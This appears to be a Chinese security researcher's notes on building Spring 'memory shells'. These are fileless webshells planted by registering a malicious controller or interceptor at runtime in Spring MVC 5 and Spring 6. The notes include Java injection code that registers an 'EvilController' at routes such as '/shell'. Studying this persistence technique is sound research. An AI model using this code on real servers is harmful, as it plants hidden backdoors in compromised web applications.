参考
https://boogipop.com/2023/03/02/Spring%E5%86%85%E5%AD%98%E9%A9%AC%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8/
https://goodapple.top/archives/1355
https://boogipop.com/2023/03/02/SpringBoot3.x%E5%86%85%E5%AD%98%E9%A9%AC%E6%9E%84%E9%80%A0%E6%80%9D%E8%B7%AF/
前置知识 Ioc,控制反转,对象原本由人来控制现在变为用容器来控制。
依赖注入:程序需要的依赖由容器创建被注入到需要的地方。
bean,豆子,java这杯咖啡由豆子组成。每个对象都是一个豆子。
ApplicationContext,容器,装豆子的。
springboot和spring framework版本关系:
https://zhuanlan.zhihu.com/p/652895555
https://blog.csdn.net/guojiaqi_/article/details/134709718
后面说的spring几指的就是spring framework的版本。
环境搭建 单纯使用springmvc,没有使用spring boot。
和之前分析tomcat内存马一样,使用内置tomcat。
依赖
<properties> <spring.version>5.2.5.RELEASE</spring.version> <tomcat.version>8.5.81</tomcat.version> </properties> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>${tomcat.version}</version> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-jasper</artifactId> <version>${tomcat.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>${spring.version}</version> </dependency>
web.xml文件
springmvc.xml文件
applicationContext.xml
Controller
启动程序
web.xml文件中,DispatcherServlet是一个普通的Servlet,下面的参数表示Spring配置文件的位置。
DispatcherServlet创建过程中,读取该配置文件,创建ApplicationContext,然后将bean加入到该Context中。
我们写的HelloController,是一个bean,被ApplicationContext管理,被自动注入要需要的地方,这就是依赖注入。
映射器 https://zhuanlan.zhihu.com/p/435384481
映射器的作用是:将请求的路由和处理请求的对象和方法对应起来。
Spring 2.5 开始到 Spring 3.1 之前一般使用 org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping 映射器 ; Spring 3.1 开始及以后一般开始使用新的 org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping 映射器来支持@Contoller和@RequestMapping注解。
下面我的测试只测试了RequestMappingHandlerMapping。
获取context 其中RequestContextUtils这个类,springframework 4.1.9.RELEASE
存在,5.2.5.RELEASE
提示不存在。
WebApplicationContext context1 = ContextLoader.getCurrentWebApplicationContext(); WebApplicationContext context2 = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext()); WebApplicationContext context3 = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()); WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
一开始自己测试时,发现前两个是null。
原来是因为web.xml里少了下面的代码:
controller内存马 我只有这种方式可以。另外两种方式提示context不存在getBeanFactory方法(spring-framework和springmvc测试过许多版本,2,3,4,5,6都测试过一些,都不行)。
@RequestMapping(value = "/hello") @ResponseBody //表示返回字符串hahaha,不会给资源识图解析器 public String index() throws Exception { System.out.println("Controller!!!"); // 获取context WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 获取 RequestMappingHandlerMapping RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); Method method = (Class.forName("controller.EvilController").getDeclaredMethods())[0]; // 构造requestMappingInfo PatternsRequestCondition url = new PatternsRequestCondition("/hahaha"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); // 注册 r.registerMapping(info, Class.forName("controller.EvilController").newInstance(), method); return "hahaha"; }
interceptor内存马 调试方式:写一个正常的interceptor,断点打在preHandle,然后向下查看调用栈。
在applyPreHandle方法中,遍历了this.interceptorList
,所以要找到哪里设置了HandleExecutionChain对象的interceptorList。
在doDispatch方法中,有这个操作:mappedHandler = getHandler(processedRequest);
,一直跟进,直到AbstractHandlerMapping的getHandlerExecutionChain方法。
this就是RequestMappingHandlerMapping,很容易获得。
此时的调用栈:
所以将恶意interceptor加入到RequestMappingHandlerMapping的adaptedInterceptors即可。
注入代码
spring6 https://boogipop.com/2023/03/02/SpringBoot3.x%E5%86%85%E5%AD%98%E9%A9%AC%E6%9E%84%E9%80%A0%E6%80%9D%E8%B7%AF/#SpringBoot2-6%E4%B9%8B%E5%90%8E%E7%9A%84%E6%94%B9%E5%8A%A8
pop的两种controller的版本分界是springboot2.6。
我没用springboot,全程使用springmvc。分别试了两种spring framework:5.2.5.RELEASE
和 6.0.3
。后者用新exp可以打,旧exp不行。所以spring framework的版本也存在分界,但具体多少不知道。
版本配置 现在使用spring6,tomcat和java也要变化。
Java 17
Tomcat 10.x (具体到多少没测,总之用的包是jakarta就行)
依赖
<properties> <spring.version>6.0.3</spring.version> <tomcat.version>10.0.7</tomcat.version> <!-- <tomcat.version>8.5.81</tomcat.version>--> </properties>
之后原代码爆红就把javax改为jakarta即可。
interceptor内存马 和先前的注入方式一样。
controller内存马 调试方式:
断点打在AbstractHandlerMethodMapping#initHandlerMethods()
。
向下查看调用栈,猜测到这里已经create了RequestMappingHandlerMapping
这个bean,正在initHandler,即注册controller。
跟进processCandidateBean
,然后是detectHandlerMethods(beanName);
。
getMappingForMethod,构造RequestMappingInfo。
拿到mapping之后最下面就是注册了。
所以注入controller内存马思路:拿到上下文,拿到RequestMappingHandlerMapping,构造RequestMappingInfo,注册。
下面是注入代码,和先前版本的代码不一样的地方在于requestMappingInfo的获取,之前用的new,现在用build。
@RequestMapping(value = "/hello2") @ResponseBody //表示返回字符串hahaha,不会给资源识图解析器 public String index() throws Exception { System.out.println("i am in"); // 获取RequestMappingHandlerMapping WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); // 构造requestMappingInfo RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration)Util.getFieldValue(mappingHandlerMapping, "config"); Method method = (Class.forName("controller.EvilController").getDeclaredMethods())[0]; RequestMappingInfo info = RequestMappingInfo.paths("/shell") .options(config) .build(); // 注册 mappingHandlerMapping.registerMapping(info, new EvilController(), method); return "hahaha"; }